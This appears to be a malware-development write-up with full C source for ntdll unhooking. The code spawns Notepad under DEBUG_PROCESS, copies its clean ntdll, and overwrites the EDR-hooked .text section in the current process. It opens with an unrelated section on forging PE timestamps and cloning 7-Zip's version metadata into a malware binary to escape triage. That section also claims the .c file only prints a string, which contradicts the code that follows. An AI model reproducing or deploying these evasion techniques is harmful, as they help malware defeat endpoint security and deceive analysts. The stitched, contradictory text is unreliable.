NTDLL-Unhooking-SuspendedProcess

What is it?

This post is a placeholder demo — the .c file just prints a string and exits. The actual metadata modification happens at the PE level outside of the source code: version information (VERSIONINFO resource) and PE header timestamps are edited post-compilation using a tool like Resource Hacker or a hex editor.

How it works

The concept in practice:

Post-compilation workflow:

Original binary:
  PE Header → TimeDateStamp: 0x67F3A291  (recent, suspicious)
  Resources → VS_VERSIONINFO: (empty or default values)

Step 1: Forge compilation timestamp
  Hex-edit IMAGE_FILE_HEADER.TimeDateStamp
  → Set to a plausible old date matching the claimed software version
  e.g. 0x4CE7A100  (2010-something)

Step 2: Clone legitimate software metadata
  Open target binary (e.g. 7-Zip or Notepad++) in Resource Hacker
  Copy VS_VERSIONINFO resource block:
    FileDescription:  7-Zip
    CompanyName:      Igor Pavlov
    ProductVersion:   22.01
    LegalCopyright:   GNU LGPL
    InternalName:     7z.exe
    OriginalFilename: 7z.exe

  Paste into malware binary and save

Result:
  Task Manager Details tab → shows "7-Zip" as description
  Process Hacker            → shows "Igor Pavlov" as company
  Static scanners           → metadata matches known-good software
  Sigcheck / file analysis  → no digital signature (obvious gap)
                               but metadata looks legitimate at a glance

This technique doesn’t fool anything that verifies the Authenticode signature — the certificate chain will be missing or invalid. The value is in quick triage: many first-pass analyst tools and some heuristic engines weight metadata positively, and a binary claiming to be a known application gets less initial scrutiny than one with blank metadata fields.

What is it?

Gets a clean, unhooked copy of ntdll from a freshly spawned child process, then overwrites the hooked .text section in the current process with those clean bytes. The child process is spawned with DEBUG_PROCESS before any EDR has hooked it, so its ntdll is guaranteed pristine.

How it works

FetchLocalNTDLLBaseAddr():
  __readgsqword(0x60)  → PEB address (x64)
  PEB → Ldr → InMemoryOrderModuleList.Flink → Flink - 0x10
                                               ↑
                          second entry in list = ntdll (first is the exe itself)
  Returns ntdll base address in current process


ReadNtdllSuspendedProcess("Notepad.exe"):

  GetWindowsDirectoryA()  → C:\Windows
  Build path: C:\Windows\System32\Notepad.exe

  CreateProcessA(path, DEBUG_PROCESS | ...)
  → Notepad spawns and pauses — kernel has loaded ntdll into it
    but no userland code (including EDR DLLs) has run yet
  → ntdll in the child is clean

  GetNtdllSize(pNtdllModule):
    Parse local ntdll PE headers → SizeOfImage

  HeapAlloc(sNtdllSize)
  ReadProcessMemory(child, pNtdllModule, buffer, sNtdllSize)
  → Copies child's clean ntdll into our heap buffer

  getchar()  ← waits for user, lets you inspect the child
  DebugActiveProcessStop(Pi.dwProcessId) + TerminateProcess(Pi.hProcess)


ReplaceTextSection(pUnhookedNtdll):

  pLocalNtdll = FetchLocalNTDLLBaseAddr()  ← our hooked copy

  Walk section headers looking for .text:
    (*(ULONG*)pSectionHdr[i].Name | 0x20202020) == 'xet.'
                                                    ↑
                          little-endian comparison for ".tex" + "t"

  pLocalNtdllTxt  = hooked ntdll base + .text VirtualAddress
  pRemoteNtdllTxt = clean ntdll buffer + same VirtualAddress offset
  sNtdllTxt       = .text section VirtualSize

  VirtualProtect(pLocalNtdllTxt, sNtdllTxt, PAGE_EXECUTE_WRITECOPY)
  memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxt)
  VirtualProtect(pLocalNtdllTxt, sNtdllTxt, OldProtect)

  EDR hooks in our ntdll .text = overwritten with clean bytes ✓

The DEBUG_PROCESS flag is used instead of CREATE_SUSPENDED because it also pauses the child but gives the parent debugger rights over it, allowing ReadProcessMemory. The getchar() in the middle is a manual inspection point — in a real loader you’d remove that and terminate the child immediately after reading.

The .text section comparison uses a bit trick: ORing with 0x20202020 lowercases all four bytes at once, then compares against the little-endian representation of ".tex". This avoids a strcmp and is a common pattern in PE parsing code.

NTDLL-Unhooking-Suspended-Process.c

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>

// Retrieve base address ntdll.dll image
PVOID FetchLocalNTDLLBaseAddr() {

	// Checks if its x64 or x32 bit compiled
#ifdef _WIN64
	PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32
	PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64

	// This struct contains loaded modules for the loaded process
	PLDR_DATA_TABLE_ENTRY	pLDTE = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

	return pLDTE->DllBase;
}

// Get size of local ntdll.dll image
// pNtdllModule Base address of the ntdll module in current process
SIZE_T GetNtdllSize(_In_ PBYTE pNtdllModule) {

	// Retrieve DOS Header
	PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
		return NULL;
	}

	// NT header offset is stored in DOS header
	PIMAGE_NT_HEADERS pImgNtHdr = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
	if (pImgNtHdr->Signature != IMAGE_NT_SIGNATURE) {
		return NULL;
	}

	// Return total size of the PE image in memory
	return pImgNtHdr->OptionalHeader.SizeOfImage;

}

// Create suspended process from there read ntdll
// lpProcess -> Executable name to spawn
// ppNtdllAddr -> Output pointer to receive the allocated ntdll image
BOOL ReadNtdllSuspendedProcess(_In_ LPCSTR lpProcessName, _Out_ PVOID* ppNtdllAddr) {

	// Initilize variables
	CHAR	cWinPath[MAX_PATH / 2] = { 0 };
	CHAR	cProcessPath[MAX_PATH] = { 0 };
	PVOID	pNtdllModule = FetchLocalNTDLLBaseAddr();
	PBYTE	pNtdllBuff = 0;
	SIZE_T	sNtdllSize, sNumOfBytesRead = 0;

	STARTUPINFO Si = { 0 };
	PROCESS_INFORMATION Pi = { 0 };

	// Make sure Si & Pi are empty (filled with 0's)
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Initilize size for struct of Startupinfo
	Si.cb = sizeof(STARTUPINFO);

	// Get Windows directory
	if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
		printf("[!] GetWindowsDirectoryA Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	// Build full path to executable (e.g., C:\Windows\System32\notepad.exe)
	sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);

	// Create process in suspended state with DEBUG_PROCESS flag
	if (!CreateProcessA(NULL, cProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &Si, &Pi)) {
		printf("[!] CreateProcessA Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	printf("[+] Suspended Process Has Been Created With PID: %d \n", Pi.dwProcessId);
	
	// Get ntdll size from the LOCAL process
	sNtdllSize = GetNtdllSize((PBYTE)pNtdllModule);
	if (!sNtdllSize) {
		goto _CleanUp;
	}

	// Allocate heap memory to store the remote ntdll
	pNtdllBuff = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
	if (!pNtdllBuff) {
		goto _CleanUp;
	}

	// Read ntdll.dll from suspended child process into local buffer
	if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuff, sNtdllSize, &sNumOfBytesRead) || sNumOfBytesRead != sNtdllSize) {
		printf("[!] ReadProcessMemory Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	*ppNtdllAddr = pNtdllBuff;
	
	printf("[#] Press <Enter> To Terminate The Child Process ... ");
	getchar();

	// Detach debugger and terminate child process
	if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
		printf("[+] DebugActiveProcess & TerminateProcess Executed Secessfully! \n");
	}
	else
		printf("[!] DebugActiveProcess or TerminateProcess Failed \n");


_CleanUp:
	if (Pi.hProcess)
		CloseHandle(Pi.hProcess);
	if (Pi.hThread)
		CloseHandle(Pi.hThread);
	if (*ppNtdllAddr == NULL)
		return FALSE;
	else
		return TRUE;

};

// Overwrites the.text section of the locally loaded(hooked) ntdll with the.text section from a clean, unhooked copy of ntdll
// pUnhookedNtdll -> Base address of a clean ntdll mapping we loaded manually
BOOL ReplaceTextSection(_In_ PVOID pUnhookedNtdll) {

	// This is the one the EDR has sunk its hooks into.
	PVOID pLocalNtdll = (PVOID)FetchLocalNTDLLBaseAddr();

	// Getting the dos header
	PIMAGE_DOS_HEADER	pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll;
	if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	// Getting the nt headers
	PIMAGE_NT_HEADERS pLocalNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
	if (pLocalNtHdr->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	PVOID pLocalNtdllTxt = NULL, pRemoteNtdllTxt = NULL;

	// Will hold the virtual size of the .text section — how many bytes to copy
	SIZE_T sNtdllTxt = NULL;

	// Getting Text section
	PIMAGE_SECTION_HEADER pSectionHdr = IMAGE_FIRST_SECTION(pLocalNtHdr);

	for (int i = 0; i < pLocalNtHdr->FileHeader.NumberOfSections; i++) {

		if ((*(ULONG*)pSectionHdr[i].Name | 0x20202020) == 'xet.') {
			// Compute the absolute VA of .text in the hooked ntdll
			pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHdr[i].VirtualAddress);

			// Same RVA, different base — locates .text in our clean unhooked copy
			pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHdr[i].VirtualAddress);

			// VirtualSize is the actual in-memory byte size of the section
			sNtdllTxt = pSectionHdr[i].Misc.VirtualSize;

			break;
		}
	}

	printf("[+] Hooked Ntdll Address: 0x%p \n", pLocalNtdll);
	printf("[+] Unhooked Ntdll Address: 0x%p \n", pUnhookedNtdll);

	// Verify variables are filled 
	if (!pLocalNtdll || !pRemoteNtdllTxt || !sNtdllTxt)
		return FALSE;

	printf("[+] Updating Text Section! \n");
	
	DWORD OldProtect = 0;

	// Updating permissions
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxt, PAGE_EXECUTE_WRITECOPY, &OldProtect)) {
		printf("[!] VirtualProtect Failed: %d \n", GetLastError());
		return FALSE;
	}

	// Update Text section with unhooked ntdll
	memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxt);

	// Restore permissions
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxt, OldProtect, &OldProtect)) {
		printf("[!] VirtualProtect Failed: %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;


}


int main() {
	PVOID pNtdll = NULL;

	printf("[+] Fetch a new ntdll.dll from suspended process! \n");

	if (!ReadNtdllSuspendedProcess("Notepad.exe", &pNtdll))
		return -1;
	

	if (!ReplaceTextSection(pNtdll))
		return -1;

	HeapFree(GetProcessHeap(), 0, pNtdll);

	printf("[+] Unhooking NTDLL Successfully! \n");
	printf("[+] Press <Enter> To Exit! \n");
	getchar();

	return 0;


}